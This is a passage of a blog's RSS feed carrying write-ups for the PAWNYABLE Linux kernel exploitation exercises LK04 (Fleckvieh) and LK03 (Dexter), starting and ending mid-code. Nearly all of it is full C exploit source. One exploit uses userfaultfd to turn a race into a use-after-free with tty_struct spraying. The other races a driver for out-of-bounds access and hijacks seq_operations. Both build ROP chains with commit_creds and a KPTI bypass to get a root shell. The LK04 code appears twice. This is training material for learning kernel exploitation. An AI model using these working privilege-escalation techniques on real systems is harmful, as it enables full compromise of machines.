        fatal(&amp;#34;switch(vuln_operation_type)&amp;#34;);
        break;
    }
    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }
  }
  return NULL;
}

void close_sprays() {
  for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
    close(vuln_spray_fds[i]);
    vuln_spray_fds[i] = 0;
  }
}
void uaf_read(void* out, size_t read_size, size_t chunk_size,
              const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_READ;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  vuln_blob_get(vuln_id, read_size, page);
  vuln_operation_type = NONE;

  memcpy(out, page, read_size);

  munmap(page, 0x1000);
}
void uaf_write(void* src, size_t write_size, size_t chunk_size,
               const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_WRITE;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  memcpy(char_buf, src, write_size);
  vuln_blob_set(vuln_id, write_size, page);
  vuln_operation_type = NONE;

  munmap(page, 0x1000);
}

uint64_t kernel_base, heap_addr;

int main() {
  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(0, &amp;amp;target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
  save_state();

  vuln_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open vuln_device&amp;#34;);
  }

  uaf_read(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  kernel_base = uint64_buf[3] - TTY_STRUCT_OPS_OFFSET;
  if (kernel_base &amp;lt; 0xffffffff81000000 || kernel_base &amp;gt; 0xffffffffc0000000) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);
  close_sprays();

  uaf_read(char_buf, 0x50, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  heap_addr = uint64_buf[9] - 0x48;
  printf(&amp;#34;[+] heap_addr: 0x%016lx\n&amp;#34;, heap_addr);
  close_sprays();

  void* rop_buf = malloc(0x1000);
  uint64_t* rop = (uint64_t*)rop_buf;
  *rop++ = PUSH_RDX_CMP_EAX_POP_RSP_RBP;
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafe0000;
  *rop++ = 0xdeadbeefcafe0001;
  *rop++ = (uint64_t)get_shell;
  *rop++ = (uint64_t)user_cs;
  *rop++ = (uint64_t)user_rflags;
  *rop++ = (uint64_t)user_sp;
  *rop++ = (uint64_t)user_ss;
  for (int i = 0; i &amp;lt; 0x100; ++i) {
    vuln_blob_add(0x400, rop_buf);
  }

  uint64_buf[0] = TTY_STRUCT_MAGIC;
  uint64_buf[3] = heap_addr - 0x0c * 8;
  uaf_write(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  for (int i = 0; i &amp;lt; 0x10; ++i) {
    ioctl(vuln_spray_fds[i], 0, heap_addr);
  }

  close(vuln_fd);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3 id=&#34;using-fuse&#34;&gt;Using FUSE&lt;/h3&gt;
&lt;p&gt;Since I cannot build test code with FUSE2 and the flow of exploit is same when using userfaultfd, I skip this part.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;lk04-fleckvieh&#34;&gt;LK04: Fleckvieh&lt;/h2&gt;
&lt;h3 id=&#34;using-userfaultfd&#34;&gt;Using userfaultfd&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;792564831&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;792564831&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_userfaultfd_and_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEVICE_NAME &amp;#34;fleckvieh&amp;#34;
#define VULN_DEV_CMD_ADD 0xf1ec0001
#define VULN_DEV_CMD_DEL 0xf1ec0002
#define VULN_DEV_CMD_GET 0xf1ec0003
#define VULN_DEV_CMD_SET 0xf1ec0004
#define VULN_DEV_MAX_SIZE 0x1000

#define KERNEL_BASE 0xffffffff81000000
#define TTY_STRUCT_MAGIC 0x100005401llu
#define TTY_STRUCT_OPS_OFFSET (0xffffffff81c3c3c0 - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET (0xffffffff8109b13a - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0ed - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729d0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff81022fe3 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81654bdb - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072830 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, &amp;#34;
      &amp;#34;user_rflags: &amp;#34;
      &amp;#34;0x%016lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

typedef struct {
  int id;
  size_t size;
  char* data;
} request_t;

int vuln_fd = -1;
long vuln_blob_add(size_t size, void* data) {
  request_t req = {.id = 0, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD, &amp;amp;req);
}
long vuln_blob_del(int id) {
  request_t req = {.id = id, .size = 0, .data = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DEL, &amp;amp;req);
}
long vuln_blob_get(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET, &amp;amp;req);
}
long vuln_blob_set(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_SET, &amp;amp;req);
}

cpu_set_t target_cpu;
char char_buf[VULN_DEV_MAX_SIZE];
uint64_t* uint64_buf = (uint64_t*)char_buf;
int vuln_id = -1;
enum vuln_operation_type {
  NONE = 0,
  UAF_READ = 1,
  UAF_WRITE = 2,
} vuln_operation_type;
const char* vuln_spray_dev_name;
int vuln_spray_flags;
int vuln_spray_fds[0x1000];
int vuln_spray_cnt;
static void* userfault_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts(&amp;#34;[*] userfault_handler: waiting for page fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(&amp;#34;userfault_handler: msg.event != UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    printf(&amp;#34;[*] userfault_handler: addr=0x%llx, flag=0x%llx\n&amp;#34;,
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    switch (vuln_operation_type) {
      case NONE:
        break;
      case UAF_READ:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)page;
        break;
      case UAF_WRITE:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)char_buf;
        break;
      default:
        fatal(&amp;#34;switch(vuln_operation_type)&amp;#34;);
        break;
    }
    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }
  }
  return NULL;
}

void close_sprays() {
  for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
    close(vuln_spray_fds[i]);
    vuln_spray_fds[i] = 0;
  }
}
void uaf_read(void* out, size_t read_size, size_t chunk_size,
              const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_READ;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  vuln_blob_get(vuln_id, read_size, page);
  vuln_operation_type = NONE;

  memcpy(out, page, read_size);

  munmap(page, 0x1000);
}
void uaf_write(void* src, size_t write_size, size_t chunk_size,
               const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_WRITE;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  memcpy(char_buf, src, write_size);
  vuln_blob_set(vuln_id, write_size, page);
  vuln_operation_type = NONE;

  munmap(page, 0x1000);
}

uint64_t kernel_base, heap_addr;

int main() {
  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(0, &amp;amp;target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
  save_state();

  vuln_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open vuln_device&amp;#34;);
  }

  uaf_read(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  kernel_base = uint64_buf[3] - TTY_STRUCT_OPS_OFFSET;
  if (kernel_base &amp;lt; 0xffffffff81000000 || kernel_base &amp;gt; 0xffffffffc0000000) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);
  close_sprays();

  uaf_read(char_buf, 0x50, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  heap_addr = uint64_buf[9] - 0x48;
  printf(&amp;#34;[+] heap_addr: 0x%016lx\n&amp;#34;, heap_addr);
  close_sprays();

  void* rop_buf = malloc(0x1000);
  uint64_t* rop = (uint64_t*)rop_buf;
  *rop++ = PUSH_RDX_CMP_EAX_POP_RSP_RBP;
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafe0000;
  *rop++ = 0xdeadbeefcafe0001;
  *rop++ = (uint64_t)get_shell;
  *rop++ = (uint64_t)user_cs;
  *rop++ = (uint64_t)user_rflags;
  *rop++ = (uint64_t)user_sp;
  *rop++ = (uint64_t)user_ss;
  for (int i = 0; i &amp;lt; 0x100; ++i) {
    vuln_blob_add(0x400, rop_buf);
  }

  uint64_buf[0] = TTY_STRUCT_MAGIC;
  uint64_buf[3] = heap_addr - 0x0c * 8;
  uaf_write(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  for (int i = 0; i &amp;lt; 0x10; ++i) {
    ioctl(vuln_spray_fds[i], 0, heap_addr);
  }

  close(vuln_fd);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3 id=&#34;using-fuse&#34;&gt;Using FUSE&lt;/h3&gt;
&lt;p&gt;Since I cannot build test code with FUSE2 and the flow of exploit is same when using userfaultfd, I skip this part.&lt;/p&gt;
&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK04/uffd.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK04/uffd.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK04/fuse.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK04/fuse.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>PAWNYABLE LK03: Dexter</title>
      <link>/posts/kernel/pawnyable/pawnyable_lk03/</link>
      <pubDate>Tue, 14 Jan 2025 09:31:17 +0000</pubDate>
      
      <guid>/posts/kernel/pawnyable/pawnyable_lk03/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;lk03-dexter&#34;&gt;LK03 (Dexter)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;784519362&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;784519362&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_seq_operations_without_smap.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEV_DEVICE_NAME &amp;#34;dexter&amp;#34;
#define VULN_DEV_BUFFER_SIZE 0x20
#define VULN_DEV_CMD_GET 0xdec50001
#define VULN_DEV_CMD_SET 0xdec50002

#define KERNEL_BASE 0xffffffff81000000
#define SEQ_OPERATIONS_START 0xffffffff81170f80
#define SEQ_OPERATIONS_START_OFFSET (SEQ_OPERATIONS_START - KERNEL_BASE)
#define FAKE_STACK_ADDRESS (0xf6000000)
#define MOV_ESP_0xf6000000_OFFSET (0xffffffff81520224 - KERNEL_BASE)
#define MOV_ESP_0xf6000000 (kernel_base + MOV_ESP_0xf6000000_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0cd - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729b0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8110d88b - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8163d0ab - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072810 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

static void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, &amp;#34;
      &amp;#34;user_rflags: &amp;#34;
      &amp;#34;0x%016lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

typedef struct {
  char* ptr;
  size_t len;
} request_t;

static int vuln_dev_fd = -1;
static request_t vuln_dev_req = {
    0,
};
static int vuln_dev_set(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_SET, &amp;amp;vuln_dev_req);
}
static int vuln_dev_get(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_GET, &amp;amp;vuln_dev_req);
}

static int race_success = 0;
static void* vuln_dev_race(void* arg) {
  const size_t len = (size_t)arg;
  while (!race_success) {
    vuln_dev_req.len = len;
    usleep(1);
  }
  return NULL;
}
static void vuln_dev_oob_read(void* out, size_t len) {
  if (len &amp;lt;= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_get(out, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  *(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&amp;amp;th, NULL, &amp;amp;vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_get(out, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }
    if (*(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
      race_success = 1;
    }
  }
  pthread_join(th, NULL);
}
static void vuln_dev_oob_write(void* data, size_t len) {
  if (len &amp;lt;= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_set(data, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  void* tmp = malloc(len);
  *(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&amp;amp;th, NULL, &amp;amp;vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_set(data, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }

    while (1) {
      if (vuln_dev_get(tmp, VULN_DEV_BUFFER_SIZE)) {
        continue;
      }
      if (*(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
        break;
      }
    }

    if (!memcmp(tmp, data, len)) {
      race_success = 1;
    }
  }
  free(tmp);
  pthread_join(th, NULL);
}

static uint64_t kernel_base = 0;

int main() {
  char char_buf[0x800];
  uint64_t* uint64_buf = (uint64_t*)char_buf;
  srand(time(NULL));
  save_state();

  int seq_ops_spray[800] = {
      0,
  };
  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       ++i) {
    seq_ops_spray[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }
  vuln_dev_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEV_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd &amp;lt; 0) {
    fatal(&amp;#34;open &amp;#34; VULN_DEV_DEVICE_NAME);
  }
  for (int i = sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    seq_ops_spray[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }

  int seq_ops_start_idx = -1;
  vuln_dev_oob_read(char_buf, sizeof(char_buf));
  for (int i = 0; i &amp;lt; sizeof(char_buf) / sizeof(uint64_t); ++i) {
    if ((uint64_buf[i] &amp;amp; SEQ_OPERATIONS_START_OFFSET) ==
        SEQ_OPERATIONS_START_OFFSET) {
      kernel_base = uint64_buf[i] - SEQ_OPERATIONS_START_OFFSET;
      seq_ops_start_idx = i;
      break;
    }
  }
  if (seq_ops_start_idx == -1 || kernel_base == 0 ||
      (kernel_base &amp;amp; 0xFFFFF) != 0) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: 0x%16lx @ idx: %d\n&amp;#34;, kernel_base,
         seq_ops_start_idx);

  void* fake_stack = mmap(
      (void*)(FAKE_STACK_ADDRESS - 0x8000), 0x10000, PROT_READ | PROT_WRITE,
      MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  uint64_t* rop = (uint64_t*)(FAKE_STACK_ADDRESS);
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafebe01;
  *rop++ = 0xdeadbeefcafebe02;
  *rop++ = (uint64_t)(get_shell);
  *rop++ = (uint64_t)(user_cs);
  *rop++ = (uint64_t)(user_rflags);
  *rop++ = (uint64_t)(user_sp);
  *rop++ = (uint64_t)(user_ss);

  uint64_buf[seq_ops_start_idx] = MOV_ESP_0xf6000000;
  vuln_dev_oob_write(uint64_buf, 8 * (seq_ops_start_idx + 1));

  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    read(seq_ops_spray[i], char_buf, 0x100);
  }

  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    close(seq_ops_spray[i]);
  }

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;exercise-with-smap&#34;&gt;Exercise (with SMAP)&lt;/h2&gt;
&lt;p&gt;I tried writing exploit code with SMAP enabled. But I failed.
I think that any registers cannot be controlled when using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.17.1/source/include/linux/seq_file.h#L32&#34;&gt;&lt;code&gt;seq_operations&lt;/code&gt;&lt;/a&gt; to control RIP.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;lk03-dexter&#34;&gt;LK03 (Dexter)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;784519362&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;784519362&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_seq_operations_without_smap.c&lt;/span&gt;
